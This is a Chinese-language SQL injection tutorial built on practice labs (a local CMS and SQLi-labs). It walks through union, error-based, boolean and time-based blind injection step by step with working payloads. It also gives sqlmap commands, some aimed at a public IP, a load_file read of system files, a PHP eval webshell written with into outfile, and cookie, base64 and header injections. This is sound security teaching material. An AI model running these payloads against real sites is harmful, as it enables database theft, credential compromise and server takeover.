SQL
简介
SQL 结构化查询语言,是一种特殊的编程语言,用于数据库中的标准数据查询语言。美国国家标准学会对SQL进行规范后,以此作为关系式数据库管理系统的标准语言。
常见的关系型数据库系统:MYSQL ACCESS MSSQL orcale
有明显的层次结构: 库名 | 表名 | 字段名 | 字段内容
不过个中通信的数据库系统在其实践过程中独对SQL规范做了某些编改和扩充。所以实际上不同的数据库系统之间的SQL不能完全通用。
SQL注入是一种常见的Web 安全漏洞,攻击者利用这个漏洞,可以访问或修改数据,或者利用潜在的数据库漏洞进行攻击
SQL注入基础
漏洞原理
针对SQL注入的攻击行为可描述为通过用户可控参数中注入SQL语法,破坏原有SQL结构,达到编写程序意料之外结果的攻击行为。
其成因可归结为以下两个原理叠加造成:
1、程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造SQL语句。
2、未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中。
*注入点可能的位置
根据SQL 注入漏洞的原理,在用户“可控参数”中注入SQL 语法,也就是说Web 应用在获取用户数据的地方,只要代入数据库查询,都有存在SQL 注入的可能,这些地方通常包括:
@ GET 数据
@ POST 数据
@ HTTP 头部(HTTP 请求报文其他字段)
@ Cookie 数据
…
GET+POST+COOKIE也叫GPC
漏洞危害
攻击者利用SQL注入漏洞们可以获取数据库中的多中信息(如:管理员后台密码),从而脱取数据库中内容(脱库)。
在特别情况下还可以修改数据库内容或者插入内容到数据库,如果数据库权限分配存在问题,或者数据库本身存在缺陷,那么攻击者就可以通过SQL注入漏洞直接获取webshell 或者服务器系统权限。
mof提权 | udf提权
分类
SQL注入漏洞根据不同的标准,有不同的分类。但是从数据类型分类来看,SQL注入分为数字型和字符型。
·数字型注入就是说注入点的数据,拼接到SQL语句中是以数字型出现的,即数据两边没有被单引号、双引号包括。
·字符型注入正好相反
根据注入手法分类,大致分为以下几个类别
@ UNION query SQL injection(可联合查询注入) 联合查询
@ Error-based SQL injection(报错型注入) 报错注入
@ Boolean-based blind SQL injection(布尔型注入) 布尔盲注
@ Time-based blind SQL injection(基于时间延迟注入) 延时注入
@ Stacked queries SQL injection(可多语句查询注入) 堆叠查询
MYSQL相关
本科主要使用*map 环境,既然要探讨SQL 注入漏洞,需要对数据库有所了解,此处以mysql 为例,这里只起到抛砖引玉的作用,其他环境的注入,读者可以根据本次的思路去学习,唯一不同的只是数据库的特性
@注释
mysql 数据库的注释的大概有以下几种
#
-- (杠杠空格)
/* … */
/*! … */ 内联查询
@mysql 元数据数据库information_schema
库名表名字段名都叫做MySQL的元数据,这些元数据代表了MySQL数据库的结构
库名表名字段名MySQL会把它存到一个数据库里面,叫information_schema
information_schema数据库中的几个关键的表
@ mysql常用的函数与参数(★)
show databases; #查看数据库
use information_schema; #转到数据库information_schema
show tables; #查看当前数据库中的数据表
= > >= <= <>不等于 |
比较运算符 |
select 1<>2; |
and | or |
逻辑运算符 |
select 1 and 0; |
version() |
mysql 数据库版本 |
select version(); |
database() |
当前数据库名 |
select database(); |
user() |
用户名 |
select user(); |
current_user() |
当前用户名 |
select current_user(); |
system_user() |
系统用户名 |
select system_user(); |
@@datadir |
数据库路径 |
select @@datadir; |
@@version_compile_os |
操作系统版本 |
select @@version_compile_os; |
length() |
返回字符串长度 |
select length('ffdfs'); select length(version()); |
substring() |
功能:截取字符串 参数1、截取的字符串 参数2、截取的起始位置,从1开始(不是偏移量) 参数3、截取长度 |
select substring("dhffjf",2,2); |
substr() |
select substr("version()",2); select substr(version(),2,10); |
|
mid() |
select mid(' select ',2,6); |
|
left() |
从左侧开始去指定字符个数的字符串(从左开始取多少个字符) |
select left('adc',2); select left(version(),2); |
concat() |
没有分隔符的连接字符串 |
select concat('a','b','c'); #abc |
concat_ws() |
含有分隔符的连接字符串 |
select concat_ws('/','a','b','c'); # a/b/c |
group_concat() |
连接一个组的字符串 |
select group_concat(id) from users; #默认以逗号分隔 |
ord() |
返回ASCII码
|
select ord('a'); # 97 |
ascii() |
select ascii('a'); |
|
hex() |
将字符串转换为十六进制 |
select hex('a'); |
unhex() |
hex 的反向操作 |
select unhex(61); |
md5() |
返回MD5 值 |
select md5('123456'); |
floor(x) |
返回不大于x 的最大整数 |
|
round() |
返回参数x 接近的整数 |
|
rand() |
返回0-1 之间的随机浮点数 |
select rand(); |
load_file() |
读取文件,并返回文件内容作为一个字符串(括号里面跟一个文件的绝对路径) |
|
sleep() |
睡眠时间为指定的秒数 |
select sleep(5); |
if(true,t,f) |
if判断(如果第一个参数是true返回第二个,否则返回第三个) |
select if(true,1,0); #1 select if(false,1,0); #0 |
find_in_set() |
返回字符串在字符串列表中的位置 |
|
benchmark() |
指定语句执行的次数 |
|
name_const() |
返回表作为结果 |
|
chr() | |
@逻辑运算
在SQL 语句中逻辑运算与(and)比或(or)的优先级要高。(not>and>or)
[ select 1=2 and 1=2 or 1=1--+ ] # true
注入流程
由于关系型数据库系统,具有明显的库/表/列/内容结构层次,所以我们通过SQL 注入漏洞获取数据库中信息时候,也依据这样的顺序。
首先获取数据库名,其次获取表名,然后获取列名,最后获取数据。
SQL 注入
使用工具:御剑扫描网站后台
火狐浏览器插件:Wappalyzer
御剑有自己的字典
如果一个网站存在SQL注入漏洞,我们就可以去访问数据库,后台管理员的用户名密码也在数据库,登录网站后台
SQL 注入点的判断
@ ?id=34 +/- 1 变化id值,看有没有变化
select * from tbName where id = $id
@ ?id=35' 通过加单引号,判断是字符型还是数字型
报错:near ''' at line 1
select * from tbName where id = 35'(说明这个单引号有问题,是多余的)
@ 测试页面是否有布尔类型的状态
?id=35 and 1=1
?id=35 and 1=2
select * from tbName where id=35 and 1=1
select * from tbName where id=35 and 1=2
当我们添加and1=1的时候或者and1=2的时候这两次页面的状态十分相同,如果不同我们就认为它有布尔类型的状态,如果相同就认为布尔类型状态不存在!
(页面是否正常跟数据库是否报错是两个问题)
@ ?id=35 and sleep(5) 测试是否有延时
沉睡五秒怎么看?打开F12--网络---看时间线
再沉睡4s看看,不一样。说明sleep会对页面服务器的响应照成影响
口诀:(前提是有SQL注入)
如果我们页面中id加一或减一页面发生变化考虑联合查询
如果页面没有变化,看有没有报错,如果有报错考虑报错注入
如果没有报错也没有回显,考虑有没有布尔类型的状态,如果有布尔类型状态我们考虑布尔盲注
如果以上都没有,我们用绝招(绝境中用的招),用延时注入
SQL注入注入点判断的举例说明
* 说明
为了演示SQL 注入的四大基本手法,我们以CMS 为例。【已经在win7中布置好了环境】
[http://172.16.132.138/cms/]
* 目标
通过SQL 注入漏洞获得后台管理员帐密并成功登录系统。
后台地址[http://172.16.132.138/cms/admin/]
* 四大基本手法
四大基本手法包括:
@ 联合查询
@ 报错注入
@ 布尔盲注
@ 延时注入
* 注入点?
[http://172.16.132.138/cms/show.php?id=33]
* 注入点的判断
对连接[http://172.16.132.138/cms/show.php?id=33]是否是注入点进行判断。
@ 变换id 参数
当我们变换id 参数(33+1|33-1)的时候,发现同一个页面,show.php 页面展现出不同的新闻内容。也就是说,数据库中的内容会回显到网页中来。
初步判定,id 参数会带入数据库查询,根据不同的id 查询数据库,得到不同的新闻内容。
猜测后台执行的SQL 语句大致结构为:
select * from tbName where id=33;
@ 单引号
[?id=33']
执行的SQL 主语则变为
select * from tbName where id=33’;
页面报错,并且报错信息会回显在网页中,报错信息如下
----
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
----
错误信息提示单引号位置出现错误,那么说明,SQL 语句从头到参数33 都是正确的。也就是说,我们添加的单引号是多余的。
因此,可以断定参数33 前面没有引号。
则,此注入点(可能)为数字型注入。
@ [and 1=1 ]
[?id=33 and 1=1 --+]
可能得SQL 语句为
select * from tbName where id=33 and 1=1 --+
页面正常。
@ [and 1=2]
[?id=33 and 1=2 --+]
可能得SQL 语句
select * from tbName where id=33 and 1=2 --+
页面没有新闻内容,并且数据库没有报错。由于1=2 是恒假式,也就是查询条件[where id=33 and 1=2 --+]恒假,这样的SQL 语句在数据库中执行后,没有返回结果,没有新闻内容。
反过来看,页面没有新闻内容,也就是SQL 语句查询条件为假。也就是说,我们写的语句[and 1=2 --+],起到了将查询条件置为假的作用。
那么,可以通过构造语句来控制SQL 语句的查询结果并且,SQL 语句查询条件真假性,在页面回显中有体现。
@ [and sleep(5)]
[?id=33 and sleep(5)]
注入sleep(5) 语句,可以通过网络时间线看到延时。
说明sleep(5) 语句起到了作用
综上,此连接存在SQL 注入漏洞。(除了变化id有回显这种方法,剩下几个出现其中任意一个我们就认为它存在SQL注入漏洞)
联合查询
由于数据库中的内容会回显到页面中来,所以我们可以采用联合查询进行注入。
联合查询就是SQL 语法中的union select 语句。该语句会同时执行两条select 语句,生成两张虚拟表,然后把查询到的结果进行拼接。
select ~~~~ union select ~~~~
由于虚拟表是二维结构,联合查询会"纵向"拼接,两张虚拟的表。
实现 跨库跨表查询
* 必要条件
@ 两张虚拟的表具有相同的列数
@ 虚拟表对应的列的数据类型相同数字很特殊,它可以自动转化成字符串
原来它是数字,但是我们查询的时候是字符,我要强制拼到一块怎么办?
我们可以把字符编码,这样我们就可以用数字表示字母
* 判断字段个数
可以使用[order by] 语句来判断当前select 语句所查询的虚拟表的列数。
[order by]语句本意是按照某一列进行排序,在mysql 中可以使用数字来代替具体的列名,比如[order by 1]就是按照第一列进行排序,如果mysql 没有找到对应的列,就会报错[Unknown column]。我们可以依次增加数字,直到数据库报错。
[order by 1 --+] # 按照第一个字段排序
[order by 2 --+]
...
[order by 15 --+]
[order by 16]
得到当前虚拟表中字段个数为15
判断显示位置
得到字段个数之后,可以尝试构造联合查询语句。
这里我们并不知道表名,根据mysql 数据库特性,select 语句在执行的过程中,并不需要指定表名。
[?id=33 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--+]
[?id=33 union select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null--+]
如果不能用order by判断列数,我们可以用一个null、两个null...试出来select 1,2,3(发现字段名和内容都是1,2,3)
页面显示的是第一张虚拟表的内容,那么我们可以考虑让第一张虚拟表的查询条件为假,则显示第二条记录。因此构造SQL 语句:
[?id=33 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --+]
或者
[?id=-33 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --+]
在执行SQL 语句的时候,可以考虑用火狐浏览器的插件hackbar。发现3 和11 会回显到页面中来。
* 数据库版本
我们可以将数字3 用函数[version()]代替,即可得到数据库的版本。将11换成database()可以得到数据库名
[?id=33 and 1=2 union select 1,2,version(),4,5,6,7,8,9,10,database(),12,13,14,15 --+]数据库版本为5.5.53。
* 当前数据库名
[database()]
[?id=33 and 1=2 union select 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15 --+]
* 数据库中的表
[?id=33 and 1=2 union select 1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database() --+ ]
我们在页面中尽量避免使用字符串,用函数来代替。报错:
考虑是不是编码有问题(union查询的两个条件)
数据库报错,考虑用[hex()] 函数将结果由字符串转化成数字。(可以用ASCII也可以用十六进制)
[?id=33 and 1=2 union select 1,2,hex(group_concat(table_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database() --+]
得到十六进制编码后的字符串
----
636D735F61727469636C652C636D735F63617465676F72792C636D735F66696C652C636D735F667269656E646C696E6B2C636D735F6D6573736167652C636D735F6E6F746963652C636D735F706167652C636D735F7573657273
----
再进行十六进制解码(用burpsuite)【Decoder----decode as ASCII hex】
----
cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_page,cms_users
----
管理员帐密有可能保存在cms_users 表中。
* 查询表中字段
?id=33 and 1=2 union select 1,2,hex(group_concat(column_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_schema=database() and table_name='cms_users'--+
cms_users作为字符串出现我们要加单引号,但是我们要避免单引号的使用,把cms_users转换为十六进制(选择后用hackbar---Encoding---Hex Encode--前面加0x表示十六进制)
----
7573657269642C757365726E616D652C70617373776F7264
----
去解码:
----
userid,username,password
----
* 字段内容
查询表中记录数
[?id=33 and 1=2 union select 1,2,count(*),4,5,6,7,8,9,10,11,12,13,14,15 from cms_users --+]
cms_users 表中只有一条记录。
查询字段内容
[?id=33 and 1=2 union select 1,2,hex(concat(username,':',password)),4,5,6,7,8,9,10,11,12,13,14,15 from cms_users --+]
----
61646D696E3A6531306164633339343962613539616262653536653035376632306638383365
----
----
admin:e10adc3949ba59abbe56e057f20f883e
----
得到的是后台管理员帐密,但是密码是以密文的方式保存在数据库中的。通过观察密文可知,此密文为MD5 密文。可以在线查询,网址为
[https://www.cmd5.com/],可以忽略加密类型。
----
admin:123456
----
通过网站后台登录系统
报错注入
在注入点的判断过程中,发现数据库中SQL 语句的报错信息,会显示在页面中,因此可以进行报错注入。
报错注入的原理,就是在错误信息中执行SQL 语句。触发报错的方式很多,具体细节也不尽相同。此处建议直接背公式即可。
select concat(left(rand(),3),'^',(select version()),'^') as x,count(*) from information_schema.tables group by x;
语句中的as是给concat(left(rand(),3),'^',(select version()),'^')起别名x,方便后面的聚合操作。此处as可以省略,直接写x即可:
select concat(left(rand(),3),'^',(select version()),'^') x,count(*) from information_schema.tables group by x;
如果关键的表被禁用了,可以采用如下语句://自己构造一个表
select concat('^',version(),'^',floor(rand()*2))x,count(*) from (select 1 union select null union select !1) a group by x;
如果rand()函数或者count()函数被禁用了,可以用如下方式:
select min(@a:=1) from information_schema.tables group by concat('^',@@version,'^',@a:=(@a+1)%2);
不依赖额外的函数和具体的表
select min(@a:=1) from (select 1 union select null union select !1) a group by concat('^',@@version,'^',@a:=(@a+1)%2);
注意:此种方法有可能成功,也可能不成功
* group by 重复键冲突
[?id=33 and (select 1 from (select count(*),concat((select version() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+]
[?id=33 and (select 1 from (select count(*),concat((select database() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+]
group by的报错实际上是MySQL一个天生的缺陷
我们现行的版本,只要是MySQL,只要是有报错信息,用这种方法注入是最稳妥的方式,因为它是MySQL天生的
SQL--报错注入---group by触发报错的原理
@创建数据库,并写入数据;
mysql> create database groupbyTest;
Query OK, 1 row affected (0.00 sec)mysql> use groupbyTest;
Database changed
mysql> show tables;
Empty set (0.01 sec)mysql> create table r1 (a int);
Query OK, 0 rows affected (0.02 sec)mysql> insert into r1 values (1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2);
Query OK, 14 rows affected (0.01 sec)
Records: 14 Duplicates: 0 Warnings: 0
@简单的查询
mysql> select * from r1;
+------+
| a |
+------+
| 1 |
| 2 |
| 1 |
| 2 |
| 1 |
| 2 |
| 1 |
| 2 |
| 1 |
| 2 |
| 1 |
| 2 |
| 1 |
| 2 |
+------+
14 rows in set (0.00 sec)
mysql> select count(*) from r1; //查询r1表有多少条记录
+----------+
| count(*) |
+----------+
| 14 |
+----------+
1 row in set (0.00 sec)mysql> select count(*) from r1 group by a;
+----------+
| count(*) |
+----------+
| 7 |
| 7 |
+----------+
2 rows in set (0.00 sec)mysql> select count(*) from r1 group by "1";
+----------+
| count(*) |
+----------+
| 14 |
+----------+
1 row in set (0.00 sec)
rand()是0-1中的随机数,一般都是小数
mysql> select left(rand(),3),a from r1 group by 1; // group by 1表示按照第一个字段进行分类聚合
+----------------+------+
| left(rand(),3) | a |
+----------------+------+
| 0.0 | 2 |
| 0.1 | 1 |
| 0.2 | 1 |
| 0.3 | 2 |
| 0.5 | 1 |
| 0.6 | 2 |
| 0.7 | 1 |
| 0.8 | 1 |
+----------------+------+
8 rows in set (0.00 sec)由于rand函数每次执行的结果都是不一样的
select left(rand(),3),a,count(*) from r1 group by 1
此处引入count()函数,产生group by重复键冲突报错//每次执行都报错,而且报的还不一样
mysql> select left(rand(),3),a,count(*) from r1 group by 1;
ERROR 1062 (23000): Duplicate entry '0.2' for key 'group_key'
mysql> select left(rand(),3),a,count(*) from r1 group by 1;
ERROR 1062 (23000): Duplicate entry '0.0' for key 'group_key'
mysql> select left(rand(),3),a,count(*) from r1 group by 1;
ERROR 1062 (23000): Duplicate entry '0.6' for key 'group_key'
mysql>分析:先执行from 再执行group by(group by1 的时候rand()函数也会执行),然后要执行select语句,left(rand(),3)这个子句会运行
这时候就会产生一个矛盾。group by是随机的,很大概率,我们group by在执行运算rand()的时候跟我们select在执行运算rand的时候,两次rand的值不一样(大概率),所以会参生重复键冲突问题
@其他语句
select round(rand(),1),a,count(*) from r1 group by 1; //round(x) 返回参数x最接近的整数
mysql> select round(rand(),1),a,count(*) from r1 group by 1; //也会有重复键的错误,group by 1就是按照round(rand(),1)字段分类
ERROR 1062 (23000): Duplicate entry '0.5' for key 'group_key'
mysql> select a,count(*) from r1 group by round(rand(),1);
ERROR 1062 (23000): Duplicate entry '0.5' for key 'group_key'
mysql> select floor(rand()*2),a,count(*) from r1 group by 1; //floor(x)返回不大于x的最大整数(向下取整)//是有成功率的
+-------------------+-----+-----------+
| floor(rand()*2) | a | count(*) |
+-----------------+------+----------+
| 0 | 1 | 7 |
| 1 | 1 | 7 |
+-----------------+------+----------+
2 rows in set (0.00 sec)mysql> select floor(rand()*2),a,count(*) from r1 group by 1; //第二次执行就报重复键错误
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'
SQL语句解析过程(运算顺序)
# FROM
from 后面的表标识了这条语句要查询的数据源。
from过程之后会形成一个虚拟表VT1。# WHERE
where对VT1过程中生成的临时表进行过滤,满足where子句的列被插到VT2中。
# GROUP BY
group by会把VT2生成的表按照group by中的列进行分组,生成VT3。
# HAVING
having 这个子句对VT3表中的不同分组进行过滤,满足having条件的子句被加到VT4表中。
# SELECT
select这个子句对select子句中的元素进行处理,生成VT5表。
— 计算表达式,计算select子句的表达式,生成VT5-1
— DISTINCT寻找VT5-1表中重复的列,并删掉,生成VT5-2
— TOP从order by子句定义的结果中,筛选出符合条件的列,生成VT5-3# GROUP BY从VT5-3中的表,根据order by子句的结果进行排序,生成VT6
* XPATH 报错
@ extractalue()
[?id=33 and extractvalue(1,concat('^',(select version()),'^')) --+]@ updatexml()
[?id=33 and updatexml(1,concat('^',(select database()),'^'),1) --+]低版本是不支持XPATH报错的(MySQL5.0以下的版本,那就用group by)
布尔盲注
* 原理
利用页面返回的布尔类型状态,正常或者不正常
获取数据库名
@ 数据库名长度
[… and length(database())=1--+]
…
[… and length(database())=3--+](夹逼准则/二分法)
@ 数据库名
[… and ascii(substr(database(),1,1))=99--+]
由此可知数据库名的第一个字母的ASCII 码是99,即字母C
延时注入
利用sleep() 语句的延时性,以时间线作为判断条件
获取数据库名
@ 获取数据库名长度
[.. and if((length(database())=3),sleep(5),1)--+]
@ 数据库名第二位
[.. and if((ascii(substr(database(),2,1,)=109),sleep(5),1)]
口诀(前提是SQL漏洞存在)
判断是否有回显 联合查询
是否有报错 报错注入
是否有布尔类型状态 布尔盲注(既没有回显也没有报错)
绝招 延时注入
sqlmap(自动化注入神器)
sqlmap -h可以看参数
测试
参数1、-u 后加url 检测注入点
python2 sqlmap.py -u "http://42.192.43.56/cms/show.php?id=33"
2、--dbs 列出所有数据库的名字
python2 sqlmap.py -u "http://42.192.43.56/cms/show.php?id=33" --dbs
3、--current-db 列出当前数据库的名字
python2 sqlmap.py -u "http://42.192.43.56/cms/show.php?id=33" --current-db
4、-D 指定一个数据库
5、--tables 列出表名
python2 sqlmap.py -u "http://42.192.43.56/cms/show.php?id=33" -D "cms" --tables
6、-T 指定表名
7、--columns 列出所有的字段名
8、-C 指定字段
9、--dump 列出字段内容
有些地方sqlmap是弄不出来的,只能手动注入
get注入
-u "url" |
检测注入点 |
--dbs |
列出所有数据库的名字 |
--current-db |
列出当前数据的名 |
-D |
指定一个数据库 |
--tables |
列出表名 |
-T |
指定表名 |
--columns |
列出所有字段名 |
-C |
指定字段 |
--dump |
列出字段内容 |
post注入
打开cms用户登录界面,burp抓个包,保存到post.txt
-r post.txt |
从文件中读入http请求 |
--os-shell |
获取shell |
sqlmap -g "inurl:php?id=" |
利用google 自动搜索注入点 |
sqlmap -r post.txt 自动读取我们http数据报做注入测试
携带cookie 的认证
要测试的页面只有在登录状态下才能访问,登录状态用cookie识别
--cookie ""
SQL 注入文件读写
读写文件
* 前提条件
我们也可以利用SQL 注入漏洞读写文件。但是读写文件需要一定的条件。
1. secure-file-priv(是mysql数据库中的一个选项,可以在phpmyadmin中看到该变量)
可以在phpmyadmin 中看到该变量。(phpmyadmin---变量---secure-file-priv)
该参数在高版本的mysql 数据库中限制了文件的导入导出操作。改参数可以写在my.ini 配置文件中[mysqld] 下。若要配置此参数,需要修改my.ini 配置文件,并重启mysql 服务。
关于该参数值的相关说明
secure-file-priv 参数配置 含义
secure-file-priv= 不对mysqld的导入导出操作做限制
secure-file-priv='c:/a/' 限制mysqld 的导入导出操作发生在c:/a/ 下(子目录有效)
secure-file-priv=null 限制mysqld 不允许导入导出操作打开my.ini, 在[mysqld]下写:写完后保存重启
mysql的导入导出操作(导入就是写文件,导出就是读取文件)
2. 当前用户具有文件权限
查询语句[select File_priv from mysql.user where user="root" and host="localhost"]
3. 知道要写入目标文件的绝对路径
* 读取文件操作(load_flie(要读取文件的路径))
[?id=-1' union select 1, load_file('C:\\Windows\\System32\\drivers\\etc\\hosts'), 3 --+ ](假设我们读取C:\Windows\System32\drivers\etc\hosts)
load_file('')
C:\\Windows\\System32\\drivers\\etc\\hosts(写法1)
C:/Windows/System32/drivers/etc/hosts(写法2,用左斜线)
linux系统当中我们路径用做斜线来分隔,windows系统中我们用右斜线来分隔,但是右斜线会作为转移字符出现
上面两种写法选哪一种都可以
应用:打开http://42.192.43.56/cms/show.php?id=33
打开hacker bar---load URL后split URL
打开SQL---Union---union select statement---输入15
id=-33 发现11这个位置有选项,我们直接http://42.192.43.56/cms/show.php?id=-33 UNION SELECT 1,2, load_file('C:\\Windows\\System32\\drivers\\etc\\hosts'),4,5,6,7,8,9,10,11,12,13,14,15
* 写入文件操作(into outfile)
[?id=1' and 1=2 union select 1,'<?php @eval($_REQUEST[777]);?>',3 into outfile 'c:\\phpstudy\\www\\2.php'--+],直接传入参数,页面如果不报错,说明写入成功。可以直接访问写入的文件[http://localhost/1.php]
into outfile
可以写入一句话木马或者是phpinfo()
宽字节注入
宽字节注入准确来说不是注入手法,而是另外一种比较特殊的情况。为了说明宽字节注入问题,我们以SQLi-labs 32 关为例子。
使用[?id=1']进行测试的时候,发现提交的单引号会被转移[\']。此时,转义后的单引号不再是字符串的标识,会被作为普通字符带入数据库查询。也就是说,我们提交的单引号不会影响到原来SQL 语句的结构。
我们通过阅读32 关的源码,发现几句非常意思的代码,如下。
此网页在连接数据库时,会将字符编码设置为GBK 编码集合,然后进行SQL 语句拼接,最后进行数据库查询。
GBK编码依然采用双字节编码方案,其编码范围:8140-FEFE,剔除xx7F码位,共23940个码位。共收录汉字和图形符号21886个,其中汉字(包括部首和构件)21003个,图形符号883个。GBK编码支持国际标准ISO/IEC10646-1和国家标准GB13000-1中的全部中日韩汉字,并包含了BIG5编码中的所有汉字。GBK编码方案于1995年12月15日正式发布,这一版的GBK规范为1.0版。
转移字符[\] 的编码是5c,正好在GBK 编码范围之内,也就是说我们可以在单引号之前提交一个十六进制编码的字符,与5c 组成一个GBK 编码的汉字。这样SQL 语句传入数据库的时候,转移字符5c ,会被看作GBK 汉字的低位字节编码,从而失去转义的作用。
如果我们提交这样的参数[?id=1000%df' union select 1,2,3 --+],就可以使用联合查询进行注入了。
(转移失效了,单引号会作为控制字符出现)
0xdf5c 就是一个汉字"運"。(右斜线是5c)
先试一下id=1,id=2 ——》页面不一样(可以采用联合查询)
判断注入点的时候添加一个单引号再用双引号试试看,发现不管是单引号还是双引号都会被转义
我们要想办法让转义失效,我们可以提交[?id=1000%df' union select 1,2,3 --+],
如果我们?id=1%df'
我们--+看看(没报错):由于这个地方手动添加了一个单引号,我们--+就要注释原来SQL语句中的引号,达到闭合状态
现在就可以判断列数...我们想让1,2,3显示到页面中来,我们就用 and 1=2,或者id=-1,得知2,3是回显位
宽字节注入就是由于我们程序在编译时设置了set name gbk,把编码格式设置为GBK,并且我们提交的数据会有一个右斜线的单引号的转义
这时候提交%df,就可以去“吃掉”转义字符,使我们单引号生效,达到注入的目的
Cookie 注入
我们使用SQLi-labs 第20 关来说明Cookie 注入问题。
Cookie 注入的注入参数需要通过Cookie 提交,可以通过[document.cookie] 在控制台完成对浏览器Cookie 的读写。
来到less-20,在控制台输入
[document.cookie="uname=Dumb' and extractvalue(1,concat(0x7e,database(),0x7e))#"]
刷新页面即可。
我们进行cookie注入的时候用burpsuite比较好
先挂个代理打开burp
然后我们输入
username:Dumb
password:Dumb抓个包
我们分析一下登录之前和登录之后有什么区别(在repeater模块中右键发送到comparer模块,两个都发)【登录前后都抓个包】
base64 注入
base64不是加密方式,是一种编码方式
我们以SQLI-labs 第22关来说明base64 注入的问题。
base64 注入也是比较简单的,只不过将注入字段经过base64 编码。经过测试,发现22 关属于Cookie 型的base64 注入。我们可以使用报错注入手法,payload
[document.cookie="uname=Dumb" and extractvalue(1,concat(0x7e,database(),0x7e))#"]
在控制台输入
[document.cookie="uname=RHVtYiIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCksMHg3ZSkpIw=="]。
刷新浏览器网页即可。
HTTP 头部注入
http 头部注入就是指注入字段在HTTP 头部的字段中,这些字段通常有User-Agent、Referer 等。
* User-Agent 注入
如SQLi-labs 第18 关。
payload
[User-Agent:hacker' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1]
* Referer 注入
第19 关,注入字段在Referer 中
[hacker' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1]